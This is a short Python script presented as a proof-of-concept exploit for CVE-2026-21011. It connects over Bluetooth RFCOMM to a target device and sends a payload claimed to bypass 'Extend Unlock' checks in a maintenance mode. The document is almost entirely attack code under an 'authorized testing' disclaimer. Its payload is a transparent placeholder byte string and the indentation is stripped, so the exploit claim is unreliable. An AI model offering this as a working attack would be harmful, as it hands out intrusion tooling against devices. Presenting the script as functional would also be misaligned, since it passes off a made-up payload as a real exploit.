The following code is for security research and authorized testing only.
python
import bluetooth
# Proof of Concept for CVE-2026-21011
# This script simulates the interaction required to exploit the privilege escalation
# in Maintenance Mode via Bluetooth.
TARGET_MAC = "00:11:22:33:44:55" # Example MAC address
PORT = 1 # RFCOMM port
def exploit_bluetooth_privilege_escalation():
try:
# Attempt to connect to the target device's Bluetooth interface
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((TARGET_MAC, PORT))
print("[+] Connected to target device in Maintenance Mode.")
# Send malformed packet to trigger incorrect privilege assignment
# This payload is designed to bypass Extend Unlock checks
payload = b"\x01\x02\x03\x04\x05BYPASS_UNLOCK"
sock.send(payload)
print("[+] Payload sent. Attempting to bypass Extend Unlock...")
# Wait for response or execute further commands
response = sock.recv(1024)
if response:
print(f"[+] Response received: {response}")
else:
print("[-] No response received, exploit may have failed or device patched.")
sock.close()
except Exception as e:
print(f"[-] Error during exploitation: {e}")
if __name__ == "__main__":
exploit_bluetooth_privilege_escalation()